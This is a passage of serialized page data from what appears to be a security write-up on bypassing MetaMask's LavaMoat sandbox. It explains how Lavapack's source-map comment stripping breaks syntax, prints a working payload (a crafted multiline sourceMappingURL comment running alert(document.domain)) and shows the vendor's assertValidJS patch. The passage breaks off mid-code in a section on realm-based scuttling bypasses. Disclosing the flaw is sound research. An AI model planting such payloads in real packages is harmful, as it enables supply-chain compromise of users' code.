eval",{"type":22,"tag":118,"props":50285,"children":50286},{"style":125},[50287],{"type":28,"value":540},{"type":22,"tag":118,"props":50289,"children":50290},{"style":1866},[50291],{"type":28,"value":50292},"'throw \"STOP\"; (function () { '",{"type":22,"tag":118,"props":50294,"children":50295},{"style":210},[50296],{"type":28,"value":10905},{"type":22,"tag":118,"props":50298,"children":50299},{"style":204},[50300],{"type":28,"value":50301}," src",{"type":22,"tag":118,"props":50303,"children":50304},{"style":210},[50305],{"type":28,"value":10905},{"type":22,"tag":118,"props":50307,"children":50308},{"style":1866},[50309],{"type":28,"value":50310}," '",{"type":22,"tag":118,"props":50312,"children":50314},{"style":50313},"--shiki-default:#D7BA7D",[50315],{"type":28,"value":50316},"\\n",{"type":22,"tag":118,"props":50318,"children":50319},{"style":1866},[50320],{"type":28,"value":50321},"})()'",{"type":22,"tag":118,"props":50323,"children":50324},{"style":125},[50325],{"type":28,"value":682},{"type":22,"tag":118,"props":50327,"children":50328},{"class":120,"line":177},[50329,50333],{"type":22,"tag":118,"props":50330,"children":50331},{"style":1480},[50332],{"type":28,"value":18954},{"type":22,"tag":118,"props":50334,"children":50335},{"style":125},[50336],{"type":28,"value":801},{"type":22,"tag":118,"props":50338,"children":50339},{"class":120,"line":195},[50340],{"type":22,"tag":118,"props":50341,"children":50342},{"style":125},[50343],{"type":28,"value":481},{"type":22,"tag":118,"props":50345,"children":50346},{"class":120,"line":244},[50347,50352,50356,50361],{"type":22,"tag":118,"props":50348,"children":50349},{"style":1480},[50350],{"type":28,"value":50351},"catch",{"type":22,"tag":118,"props":50353,"children":50354},{"style":125},[50355],{"type":28,"value":842},{"type":22,"tag":118,"props":50357,"children":50358},{"style":204},[50359],{"type":28,"value":50360},"err",{"type":22,"tag":118,"props":50362,"children":50363},{"style":125},[50364],{"type":28,"value":16783},{"type":22,"tag":118,"props":50366,"children":50367},{"class":120,"line":253},[50368,50372,50376,50380,50384,50389,50393,50398,50402],{"type":22,"tag":118,"props":50369,"children":50370},{"style":1480},[50371],{"type":28,"value":2159},{"type":22,"tag":118,"props":50373,"children":50374},{"style":125},[50375],{"type":28,"value":842},{"type":22,"tag":118,"props":50377,"children":50378},{"style":204},[50379],{"type":28,"value":50360},{"type":22,"tag":118,"props":50381,"children":50382},{"style":210},[50383],{"type":28,"value":33361},{"type":22,"tag":118,"props":50385,"children":50386},{"style":1866},[50387],{"type":28,"value":50388}," 'STOP'",{"type":22,"tag":118,"props":50390,"children":50391},{"style":125},[50392],{"type":28,"value":588},{"type":22,"tag":118,"props":50394,"children":50395},{"style":1480},[50396],{"type":28,"value":50397},"return",{"type":22,"tag":118,"props":50399,"children":50400},{"style":146},[50401],{"type":28,"value":41279},{"type":22,"tag":118,"props":50403,"children":50404},{"style":125},[50405],{"type":28,"value":801},{"type":22,"tag":118,"props":50407,"children":50408},{"class":120,"line":263},[50409,50413,50417,50421,50425,50430,50434,50439,50444,50449,50453,50457,50462],{"type":22,"tag":118,"props":50410,"children":50411},{"style":1480},[50412],{"type":28,"value":2159},{"type":22,"tag":118,"props":50414,"children":50415},{"style":125},[50416],{"type":28,"value":842},{"type":22,"tag":118,"props":50418,"children":50419},{"style":204},[50420],{"type":28,"value":50360},{"type":22,"tag":118,"props":50422,"children":50423},{"style":125},[50424],{"type":28,"value":292},{"type":22,"tag":118,"props":50426,"children":50427},{"style":204},[50428],{"type":28,"value":50429},"constructor",{"type":22,"tag":118,"props":50431,"children":50432},{"style":125},[50433],{"type":28,"value":292},{"type":22,"tag":118,"props":50435,"children":50436},{"style":204},[50437],{"type":28,"value":50438},"name",{"type":22,"tag":118,"props":50440,"children":50441},{"style":210},[50442],{"type":28,"value":50443}," !==",{"type":22,"tag":118,"props":50445,"children":50446},{"style":1866},[50447],{"type":28,"value":50448}," 'SyntaxError'",{"type":22,"tag":118,"props":50450,"children":50451},{"style":125},[50452],{"type":28,"value":588},{"type":22,"tag":118,"props":50454,"children":50455},{"style":1480},[50456],{"type":28,"value":50397},{"type":22,"tag":118,"props":50458,"children":50459},{"style":204},[50460],{"type":28,"value":50461}," err",{"type":22,"tag":118,"props":50463,"children":50464},{"style":125},[50465],{"type":28,"value":801},{"type":22,"tag":118,"props":50467,"children":50468},{"class":120,"line":318},[50469,50473,50478,50482,50486,50490,50494,50498,50503],{"type":22,"tag":118,"props":50470,"children":50471},{"style":1480},[50472],{"type":28,"value":18954},{"type":22,"tag":118,"props":50474,"children":50475},{"style":532},[50476],{"type":28,"value":50477}," errorInfo",{"type":22,"tag":118,"props":50479,"children":50480},{"style":125},[50481],{"type":28,"value":540},{"type":22,"tag":118,"props":50483,"children":50484},{"style":204},[50485],{"type":28,"value":34608},{"type":22,"tag":118,"props":50487,"children":50488},{"style":125},[50489],{"type":28,"value":231},{"type":22,"tag":118,"props":50491,"children":50492},{"style":204},[50493],{"type":28,"value":49884},{"type":22,"tag":118,"props":50495,"children":50496},{"style":125},[50497],{"type":28,"value":231},{"type":22,"tag":118,"props":50499,"children":50500},{"style":204},[50501],{"type":28,"value":50502},"opts",{"type":22,"tag":118,"props":50504,"children":50505},{"style":125},[50506],{"type":28,"value":682},{"type":22,"tag":118,"props":50508,"children":50509},{"class":120,"line":351},[50510],{"type":22,"tag":118,"props":50511,"children":50512},{"style":125},[50513],{"type":28,"value":481},{"type":22,"tag":31,"props":50515,"children":50516},{},[50517,50519,50523,50525,50531,50533,50538],{"type":28,"value":50518},"Interestingly, it ",{"type":22,"tag":4764,"props":50520,"children":50521},{},[50522],{"type":28,"value":5986},{"type":28,"value":50524}," possible to inject a ",{"type":22,"tag":114,"props":50526,"children":50528},{"className":50527},[],[50529],{"type":28,"value":50530},"}); (() => {",{"type":28,"value":50532}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":22,"tag":114,"props":50534,"children":50536},{"className":50535},[],[50537],{"type":28,"value":50054},{"type":28,"value":50539}," sandbox of Lavapack.",{"type":22,"tag":1289,"props":50541,"children":50543},{"id":50542},"sourcemap-the-syntax-killer",[50544],{"type":28,"value":50545},"SourceMap: The Syntax Killer",{"type":22,"tag":31,"props":50547,"children":50548},{},[50549,50551,50558],{"type":28,"value":50550},"Lavapack has a feature to extract source maps files from the code using ",{"type":22,"tag":42,"props":50552,"children":50555},{"href":50553,"rel":50554},"https://www.npmjs.com/package/convert-source-map",[46],[50556],{"type":28,"value":50557},"convert-source-map",{"type":28,"value":50559}," npm package:",{"type":22,"tag":107,"props":50561,"children":50563},{"className":33302,"code":50562,"language":33304,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[50564],{"type":22,"tag":114,"props":50565,"children":50566},{"__ignoreMap":7},[50567,50591,50633,50641,50682,50723,50751],{"type":22,"tag":118,"props":50568,"children":50569},{"class":120,"line":121},[50570,50574,50579,50583,50587],{"type":22,"tag":118,"props":50571,"children":50572},{"style":146},[50573],{"type":28,"value":33316},{"type":22,"tag":118,"props":50575,"children":50576},{"style":532},[50577],{"type":28,"value":50578}," extractSourceMaps",{"type":22,"tag":118,"props":50580,"children":50581},{"style":125},[50582],{"type":28,"value":540},{"type":22,"tag":118,"props":50584,"children":50585},{"style":204},[50586],{"type":28,"value":39955},{"type":22,"tag":118,"props":50588,"children":50589},{"style":125},[50590],{"type":28,"value":16783},{"type":22,"tag":118,"props":50592,"children":50593},{"class":120,"line":142},[50594,50598,50603,50607,50612,50616,50621,50625,50629],{"type":22,"tag":118,"props":50595,"children":50596},{"style":146},[50597],{"type":28,"value":38129},{"type":22,"tag":118,"props":50599,"children":50600},{"style":204},[50601],{"type":28,"value":50602}," converter",{"type":22,"tag":118,"props":50604,"children":50605},{"style":210},[50606],{"type":28,"value":837},{"type":22,"tag":118,"props":50608,"children":50609},{"style":204},[50610],{"type":28,"value":50611}," convertSourceMap",{"type":22,"tag":118,"props":50613,"children":50614},{"style":125},[50615],{"type":28,"value":292},{"type":22,"tag":118,"props":50617,"children":50618},{"style":532},[50619],{"type":28,"value":50620},"fromSource",{"type":22,"tag":118,"props":50622,"children":50623},{"style":125},[50624],{"type":28,"value":540},{"type":22,"tag":118,"props":50626,"children":50627},{"style":204},[50628],{"type":28,"value":39955},{"type":22,"tag":118,"props":50630,"children":50631},{"style":125},[50632],{"type":28,"value":3665},{"type":22,"tag":118,"props":50634,"children":50635},{"class":120,"line":177},[50636],{"type":22,"tag":118,"props":50637,"children":50638},{"style":257},[50639],{"type":28,"value":50640},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":22,"tag":118,"props":50642,"children":50643},{"class":120,"line":195},[50644,50648,50653,50657,50661,50665,50669,50673,50678],{"type":22,"tag":118,"props":50645,"children":50646},{"style":146},[50647],{"type":28,"value":38129},{"type":22,"tag":118,"props":50649,"children":50650},{"style":204},[50651],{"type":28,"value":50652}," maps",{"type":22,"tag":118,"props":50654,"children":50655},{"style":210},[50656],{"type":28,"value":837},{"type":22,"tag":118,"props":50658,"children":50659},{"style":204},[50660],{"type":28,"value":50602},{"type":22,"tag":118,"props":50662,"children":50663},{"style":210},[50664],{"type":28,"value":1789},{"type":22,"tag":118,"props":50666,"children":50667},{"style":204},[50668],{"type":28,"value":50602},{"type":22,"tag":118,"props":50670,"children":50671},{"style":125},[50672],{"type":28,"value":292},{"type":22,"tag":118,"props":50674,"children":50675},{"style":532},[50676],{"type":28,"value":50677},"toObject",{"type":22,"tag":118,"props":50679,"children":50680},{"style":125},[50681],{"type":28,"value":2708},{"type":22,"tag":118,"props":50683,"children":50684},{"class":120,"line":244},[50685,50689,50694,50698,50702,50706,50711,50715,50719],{"type":22,"tag":118,"props":50686,"children":50687},{"style":146},[50688],{"type":28,"value":38129},{"type":22,"tag":118,"props":50690,"children":50691},{"style":204},[50692],{"type":28,"value":50693}," code",{"type":22,"tag":118,"props":50695,"children":50696},{"style":210},[50697],{"type":28,"value":837},{"type":22,"tag":118,"props":50699,"children":50700},{"style":204},[50701],{"type":28,"value":50611},{"type":22,"tag":118,"props":50703,"children":50704},{"style":125},[50705],{"type":28,"value":292},{"type":22,"tag":118,"props":50707,"children":50708},{"style":532},[50709],{"type":28,"value":50710},"removeComments",{"type":22,"tag":118,"props":50712,"children":50713},{"style":125},[50714],{"type":28,"value":540},{"type":22,"tag":118,"props":50716,"children":50717},{"style":204},[50718],{"type":28,"value":39955},{"type":22,"tag":118,"props":50720,"children":50721},{"style":125},[50722],{"type":28,"value":3665},{"type":22,"tag":118,"props":50724,"children":50725},{"class":120,"line":253},[50726,50730,50734,50738,50742,50747],{"type":22,"tag":118,"props":50727,"children":50728},{"style":1480},[50729],{"type":28,"value":41140},{"type":22,"tag":118,"props":50731,"children":50732},{"style":125},[50733],{"type":28,"value":11584},{"type":22,"tag":118,"props":50735,"children":50736},{"style":204},[50737],{"type":28,"value":114},{"type":22,"tag":118,"props":50739,"children":50740},{"style":125},[50741],{"type":28,"value":231},{"type":22,"tag":118,"props":50743,"children":50744},{"style":204},[50745],{"type":28,"value":50746},"maps",{"type":22,"tag":118,"props":50748,"children":50749},{"style":125},[50750],{"type":28,"value":11594},{"type":22,"tag":118,"props":50752,"children":50753},{"class":120,"line":263},[50754],{"type":22,"tag":118,"props":50755,"children":50756},{"style":125},[50757],{"type":28,"value":481},{"type":22,"tag":31,"props":50759,"children":50760},{},[50761,50763,50768,50770,50775],{"type":28,"value":50762},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":22,"tag":114,"props":50764,"children":50766},{"className":50765},[],[50767],{"type":28,"value":50205},{"type":28,"value":50769}," stage. Reviewing the ",{"type":22,"tag":114,"props":50771,"children":50773},{"className":50772},[],[50774],{"type":28,"value":50557},{"type":28,"value":50776}," code, we can see exactly how this happens.",{"type":22,"tag":107,"props":50778,"children":50780},{"className":33302,"code":50779,"language":33304,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[50781],{"type":22,"tag":114,"props":50782,"children":50783},{"__ignoreMap":7},[50784,50823,50849,50857,51071,51078,51085,51092,51127,51177],{"type":22,"tag":118,"props":50785,"children":50786},{"class":120,"line":121},[50787,50792,50796,50801,50805,50809,50813,50818],{"type":22,"tag":118,"props":50788,"children":50789},{"style":204},[50790],{"type":28,"value":50791},"Object",{"type":22,"tag":118,"props":50793,"children":50794},{"style":125},[50795],{"type":28,"value":292},{"type":22,"tag":118,"props":50797,"children":50798},{"style":532},[50799],{"type":28,"value":50800},"defineProperty",{"type":22,"tag":118,"props":50802,"children":50803},{"style":125},[50804],{"type":28,"value":540},{"type":22,"tag":118,"props":50806,"children":50807},{"style":131},[50808],{"type":28,"value":39827},{"type":22,"tag":118,"props":50810,"children":50811},{"style":125},[50812],{"type":28,"value":231},{"type":22,"tag":118,"props":50814,"children":50815},{"style":1866},[50816],{"type":28,"value":50817},"'commentRegex'",{"type":22,"tag":118,"props":50819,"children":50820},{"style":125},[50821],{"type":28,"value":50822},", {\n",{"type":22,"tag":118,"props":50824,"children":50825},{"class":120,"line":142},[50826,50831,50835,50839,50844],{"type":22,"tag":118,"props":50827,"children":50828},{"style":532},[50829],{"type":28,"value":50830},"  get",{"type":22,"tag":118,"props":50832,"children":50833},{"style":204},[50834],{"type":28,"value":213},{"type":22,"tag":118,"props":50836,"children":50837},{"style":146},[50838],{"type":28,"value":40155},{"type":22,"tag":118,"props":50840,"children":50841},{"style":532},[50842],{"type":28,"value":50843}," getCommentRegex",{"type":22,"tag":118,"props":50845,"children":50846},{"style":125},[50847],{"type":28,"value":50848}," () {\n",{"type":22,"tag":118,"props":50850,"children":50851},{"class":120,"line":177},[50852],{"type":22,"tag":118,"props":50853,"children":50854},{"style":257},[50855],{"type":28,"value":50856},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":22,"tag":118,"props":50858,"children":50859},{"class":120,"line":195},[50860,50864,50870,50875,50880,50885,50889,50894,50899,50904,50908,50912,50917,50922,50927,50932,50936,50940,50944,50949,50953,50958,50963,50968,50973,50977,50981,50985,50989,50993,50997,51001,51005,51010,51015,51019,51024,51029,51033,51037,51041,51045,51050,51054,51058,51062,51067],{"type":22,"tag":118,"props":50861,"children":50862},{"style":1480},[50863],{"type":28,"value":18954},{"type":22,"tag":118,"props":50865,"children":50867},{"style":50866},"--shiki-default:#D16969",[50868],{"type":28,"value":50869}," /",{"type":22,"tag":118,"props":50871,"children":50872},{"style":532},[50873],{"type":28,"value":50874},"^",{"type":22,"tag":118,"props":50876,"children":50877},{"style":50866},[50878],{"type":28,"value":50879},"\\s",{"type":22,"tag":118,"props":50881,"children":50882},{"style":50313},[50883],{"type":28,"value":50884},"*?\\/",{"type":22,"tag":118,"props":50886,"children":50887},{"style":1866},[50888],{"type":28,"value":5746},{"type":22,"tag":118,"props":50890,"children":50891},{"style":50313},[50892],{"type":28,"value":50893},"\\/\\*",{"type":22,"tag":118,"props":50895,"children":50896},{"style":1866},[50897],{"type":28,"value":50898},"][",{"type":22,"tag":118,"props":50900,"children":50901},{"style":50866},[50902],{"type":28,"value":50903},"@#",{"type":22,"tag":118,"props":50905,"children":50906},{"style":1866},[50907],{"type":28,"value":17386},{"type":22,"tag":118,"props":50909,"children":50910},{"style":50866},[50911],{"type":28,"value":50879},{"type":22,"tag":118,"props":50913,"children":50914},{"style":50313},[50915],{"type":28,"value":50916},"+?",{"type":22,"tag":118,"props":50918,"children":50919},{"style":50866},[50920],{"type":28,"value":50921},"sourceMappingURL=data:",{"type":22,"tag":118,"props":50923,"children":50924},{"style":1866},[50925],{"type":28,"value":50926},"(((?:",{"type":22,"tag":118,"props":50928,"children":50929},{"style":50866},[50930],{"type":28,"value":50931},"application",{"type":22,"tag":118,"props":50933,"children":50934},{"style":532},[50935],{"type":28,"value":3604},{"type":22,"tag":118,"props":50937,"children":50938},{"style":50866},[50939],{"type":28,"value":28},{"type":22,"tag":118,"props":50941,"children":50942},{"style":1866},[50943],{"type":28,"value":3627},{"type":22,"tag":118,"props":50945,"children":50946},{"style":50313},[50947],{"type":28,"value":50948},"\\/",{"type":22,"tag":118,"props":50950,"children":50951},{"style":50866},[50952],{"type":28,"value":35937},{"type":22,"tag":118,"props":50954,"children":50955},{"style":1866},[50956],{"type":28,"value":50957},")(?:",{"type":22,"tag":118,"props":50959,"children":50960},{"style":50866},[50961],{"type":28,"value":50962},";charset=",{"type":22,"tag":118,"props":50964,"children":50965},{"style":1866},[50966],{"type":28,"value":50967},"([^",{"type":22,"tag":118,"props":50969,"children":50970},{"style":50866},[50971],{"type":28,"value":50972},";,",{"type":22,"tag":118,"props":50974,"children":50975},{"style":1866},[50976],{"type":28,"value":17386},{"type":22,"tag":118,"props":50978,"children":50979},{"style":50313},[50980],{"type":28,"value":50916},{"type":22,"tag":118,"props":50982,"children":50983},{"style":1866},[50984],{"type":28,"value":3627},{"type":22,"tag":118,"props":50986,"children":50987},{"style":50313},[50988],{"type":28,"value":796},{"type":22,"tag":118,"props":50990,"children":50991},{"style":1866},[50992],{"type":28,"value":3627},{"type":22,"tag":118,"props":50994,"children":50995},{"style":50313},[50996],{"type":28,"value":796},{"type":22,"tag":118,"props":50998,"children":50999},{"style":1866},[51000],{"type":28,"value":3627},{"type":22,"tag":118,"props":51002,"children":51003},{"style":50313},[51004],{"type":28,"value":796},{"type":22,"tag":118,"props":51006,"children":51007},{"style":1866},[51008],{"type":28,"value":51009},"(?:",{"type":22,"tag":118,"props":51011,"children":51012},{"style":50866},[51013],{"type":28,"value":51014},";",{"type":22,"tag":118,"props":51016,"children":51017},{"style":1866},[51018],{"type":28,"value":540},{"type":22,"tag":118,"props":51020,"children":51021},{"style":50866},[51022],{"type":28,"value":51023},"base64",{"type":22,"tag":118,"props":51025,"children":51026},{"style":1866},[51027],{"type":28,"value":51028},"))",{"type":22,"tag":118,"props":51030,"children":51031},{"style":50313},[51032],{"type":28,"value":796},{"type":22,"tag":118,"props":51034,"children":51035},{"style":50866},[51036],{"type":28,"value":6139},{"type":22,"tag":118,"props":51038,"children":51039},{"style":1866},[51040],{"type":28,"value":540},{"type":22,"tag":118,"props":51042,"children":51043},{"style":50866},[51044],{"type":28,"value":292},{"type":22,"tag":118,"props":51046,"children":51047},{"style":50313},[51048],{"type":28,"value":51049},"*?",{"type":22,"tag":118,"props":51051,"children":51052},{"style":1866},[51053],{"type":28,"value":3627},{"type":22,"tag":118,"props":51055,"children":51056},{"style":532},[51057],{"type":28,"value":12287},{"type":22,"tag":118,"props":51059,"children":51060},{"style":50866},[51061],{"type":28,"value":888},{"type":22,"tag":118,"props":51063,"children":51064},{"style":146},[51065],{"type":28,"value":51066},"mg",{"type":22,"tag":118,"props":51068,"children":51069},{"style":125},[51070],{"type":28,"value":801},{"type":22,"tag":118,"props":51072,"children":51073},{"class":120,"line":244},[51074],{"type":22,"tag":118,"props":51075,"children":51076},{"style":125},[51077],{"type":28,"value":7881},{"type":22,"tag":118,"props":51079,"children":51080},{"class":120,"line":253},[51081],{"type":22,"tag":118,"props":51082,"children":51083},{"style":125},[51084],{"type":28,"value":37278},{"type":22,"tag":118,"props":51086,"children":51087},{"class":120,"line":263},[51088],{"type":22,"tag":118,"props":51089,"children":51090},{"emptyLinePlaceholder":15},[51091],{"type":28,"value":250},{"type":22,"tag":118,"props":51093,"children":51094},{"class":120,"line":318},[51095,51099,51103,51107,51111,51115,51119,51123],{"type":22,"tag":118,"props":51096,"children":51097},{"style":131},[51098],{"type":28,"value":39827},{"type":22,"tag":118,"props":51100,"children":51101},{"style":125},[51102],{"type":28,"value":292},{"type":22,"tag":118,"props":51104,"children":51105},{"style":532},[51106],{"type":28,"value":50710},{"type":22,"tag":118,"props":51108,"children":51109},{"style":210},[51110],{"type":28,"value":837},{"type":22,"tag":118,"props":51112,"children":51113},{"style":146},[51114],{"type":28,"value":40155},{"type":22,"tag":118,"props":51116,"children":51117},{"style":125},[51118],{"type":28,"value":842},{"type":22,"tag":118,"props":51120,"children":51121},{"style":204},[51122],{"type":28,"value":34608},{"type":22,"tag":118,"props":51124,"children":51125},{"style":125},[51126],{"type":28,"value":16783},{"type":22,"tag":118,"props":51128,"children":51129},{"class":120,"line":351},[51130,51134,51138,51142,51147,51151,51155,51159,51164,51168,51173],{"type":22,"tag":118,"props":51131,"children":51132},{"style":1480},[51133],{"type":28,"value":41140},{"type":22,"tag":118,"props":51135,"children":51136},{"style":204},[51137],{"type":28,"value":50301},{"type":22,"tag":118,"props":51139,"children":51140},{"style":125},[51141],{"type":28,"value":292},{"type":22,"tag":118,"props":51143,"children":51144},{"style":532},[51145],{"type":28,"value":51146},"replace",{"type":22,"tag":118,"props":51148,"children":51149},{"style":125},[51150],{"type":28,"value":540},{"type":22,"tag":118,"props":51152,"children":51153},{"style":131},[51154],{"type":28,"value":39827},{"type":22,"tag":118,"props":51156,"children":51157},{"style":125},[51158],{"type":28,"value":292},{"type":22,"tag":118,"props":51160,"children":51161},{"style":204},[51162],{"type":28,"value":51163},"commentRegex",{"type":22,"tag":118,"props":51165,"children":51166},{"style":125},[51167],{"type":28,"value":231},{"type":22,"tag":118,"props":51169,"children":51170},{"style":1866},[51171],{"type":28,"value":51172},"''",{"type":22,"tag":118,"props":51174,"children":51175},{"style":125},[51176],{"type":28,"value":682},{"type":22,"tag":118,"props":51178,"children":51179},{"class":120,"line":359},[51180],{"type":22,"tag":118,"props":51181,"children":51182},{"style":125},[51183],{"type":28,"value":4277},{"type":22,"tag":31,"props":51185,"children":51186},{},[51187,51189,51195],{"type":28,"value":51188},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":22,"tag":114,"props":51190,"children":51192},{"className":51191},[],[51193],{"type":28,"value":51194},"/*",{"type":28,"value":51196},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":22,"tag":1289,"props":51198,"children":51200},{"id":51199},"the-bypass",[51201],{"type":28,"value":51202},"The Bypass",{"type":22,"tag":31,"props":51204,"children":51205},{},[51206,51208,51213,51215,51220],{"type":28,"value":51207},"By abusing the ",{"type":22,"tag":114,"props":51209,"children":51211},{"className":51210},[],[51212],{"type":28,"value":50710},{"type":28,"value":51214}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":22,"tag":114,"props":51216,"children":51218},{"className":51217},[],[51219],{"type":28,"value":50054},{"type":28,"value":51221}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":22,"tag":107,"props":51223,"children":51225},{"className":33302,"code":51224,"language":33304,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[51226],{"type":22,"tag":114,"props":51227,"children":51228},{"__ignoreMap":7},[51229,51237,51244,51252,51260,51268,51276,51284,51292,51299,51307],{"type":22,"tag":118,"props":51230,"children":51231},{"class":120,"line":121},[51232],{"type":22,"tag":118,"props":51233,"children":51234},{"style":257},[51235],{"type":28,"value":51236},"/*# sourceMappingURL=data:,{}\n",{"type":22,"tag":118,"props":51238,"children":51239},{"class":120,"line":142},[51240],{"type":22,"tag":118,"props":51241,"children":51242},{"emptyLinePlaceholder":15},[51243],{"type":28,"value":250},{"type":22,"tag":118,"props":51245,"children":51246},{"class":120,"line":177},[51247],{"type":22,"tag":118,"props":51248,"children":51249},{"style":257},[51250],{"type":28,"value":51251},"}}}}\n",{"type":22,"tag":118,"props":51253,"children":51254},{"class":120,"line":195},[51255],{"type":22,"tag":118,"props":51256,"children":51257},{"style":257},[51258],{"type":28,"value":51259},"}, {\n",{"type":22,"tag":118,"props":51261,"children":51262},{"class":120,"line":244},[51263],{"type":22,"tag":118,"props":51264,"children":51265},{"style":257},[51266],{"type":28,"value":51267},"    package: \"xpl\",\n",{"type":22,"tag":118,"props":51269,"children":51270},{"class":120,"line":253},[51271],{"type":22,"tag":118,"props":51272,"children":51273},{"style":257},[51274],{"type":28,"value":51275},"    file: \"node_modules/xpl/index.js\",\n",{"type":22,"tag":118,"props":51277,"children":51278},{"class":120,"line":263},[51279],{"type":22,"tag":118,"props":51280,"children":51281},{"style":257},[51282],{"type":28,"value":51283},"    test: alert(document.domain),\n",{"type":22,"tag":118,"props":51285,"children":51286},{"class":120,"line":318},[51287],{"type":22,"tag":118,"props":51288,"children":51289},{"style":257},[51290],{"type":28,"value":51291},"    test1: () => { () => { () => { () => {\n",{"type":22,"tag":118,"props":51293,"children":51294},{"class":120,"line":351},[51295],{"type":22,"tag":118,"props":51296,"children":51297},{"emptyLinePlaceholder":15},[51298],{"type":28,"value":250},{"type":22,"tag":118,"props":51300,"children":51301},{"class":120,"line":359},[51302],{"type":22,"tag":118,"props":51303,"children":51304},{"style":257},[51305],{"type":28,"value":51306},"/*\n",{"type":22,"tag":118,"props":51308,"children":51309},{"class":120,"line":368},[51310],{"type":22,"tag":118,"props":51311,"children":51312},{"style":257},[51313],{"type":28,"value":51314},"*/\n",{"type":22,"tag":31,"props":51316,"children":51317},{},[51318],{"type":28,"value":51319},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":22,"tag":1289,"props":51321,"children":51323},{"id":51322},"lavapack-patch",[51324],{"type":28,"value":51325},"Lavapack Patch",{"type":22,"tag":31,"props":51327,"children":51328},{},[51329,51331,51337],{"type":28,"value":51330},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":22,"tag":114,"props":51332,"children":51334},{"className":51333},[],[51335],{"type":28,"value":51336},"assertValidJS",{"type":28,"value":51338},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":22,"tag":31,"props":51340,"children":51341},{},[51342,51344,51351],{"type":28,"value":51343},"The patch was introduced in commit ",{"type":22,"tag":42,"props":51345,"children":51348},{"href":51346,"rel":51347},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[46],[51349],{"type":28,"value":51350},"9c38cd4",{"type":28,"value":292},{"type":22,"tag":107,"props":51353,"children":51355},{"className":1912,"code":51354,"language":1914,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[51356],{"type":22,"tag":114,"props":51357,"children":51358},{"__ignoreMap":7},[51359,51367,51375,51383,51391,51399,51407,51415,51422,51430],{"type":22,"tag":118,"props":51360,"children":51361},{"class":120,"line":121},[51362],{"type":22,"tag":118,"props":51363,"children":51364},{"style":674},[51365],{"type":28,"value":51366},"+ function assertValidJS(code) {\n",{"type":22,"tag":118,"props":51368,"children":51369},{"class":120,"line":142},[51370],{"type":22,"tag":118,"props":51371,"children":51372},{"style":674},[51373],{"type":28,"value":51374},"+  try {\n",{"type":22,"tag":118,"props":51376,"children":51377},{"class":120,"line":177},[51378],{"type":22,"tag":118,"props":51379,"children":51380},{"style":674},[51381],{"type":28,"value":51382},"+    new Function(code)\n",{"type":22,"tag":118,"props":51384,"children":51385},{"class":120,"line":195},[51386],{"type":22,"tag":118,"props":51387,"children":51388},{"style":674},[51389],{"type":28,"value":51390},"+  } catch (err) {\n",{"type":22,"tag":118,"props":51392,"children":51393},{"class":120,"line":244},[51394],{"type":22,"tag":118,"props":51395,"children":51396},{"style":674},[51397],{"type":28,"value":51398},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":22,"tag":118,"props":51400,"children":51401},{"class":120,"line":253},[51402],{"type":22,"tag":118,"props":51403,"children":51404},{"style":674},[51405],{"type":28,"value":51406},"+  }\n",{"type":22,"tag":118,"props":51408,"children":51409},{"class":120,"line":263},[51410],{"type":22,"tag":118,"props":51411,"children":51412},{"style":674},[51413],{"type":28,"value":51414},"+ }\n",{"type":22,"tag":118,"props":51416,"children":51417},{"class":120,"line":318},[51418],{"type":22,"tag":118,"props":51419,"children":51420},{"emptyLinePlaceholder":15},[51421],{"type":28,"value":250},{"type":22,"tag":118,"props":51423,"children":51424},{"class":120,"line":351},[51425],{"type":22,"tag":118,"props":51426,"children":51427},{"style":674},[51428],{"type":28,"value":51429},"+  // additional layer of syntax checking independent of browserify\n",{"type":22,"tag":118,"props":51431,"children":51432},{"class":120,"line":359},[51433],{"type":22,"tag":118,"props":51434,"children":51435},{"style":674},[51436],{"type":28,"value":51437},"+  assertValidJS(sourceMeta.code)\n",{"type":22,"tag":23,"props":51439,"children":51441},{"id":51440},"hacking-js-realms",[51442],{"type":28,"value":51443},"Hacking JS Realms",{"type":22,"tag":31,"props":51445,"children":51446},{},[51447,51449,51454],{"type":28,"value":51448},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":22,"tag":114,"props":51450,"children":51452},{"className":51451},[],[51453],{"type":28,"value":39358},{"type":28,"value":51455}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":22,"tag":107,"props":51457,"children":51459},{"className":33302,"code":51458,"language":33304,"meta":7,"style":7},"const w = 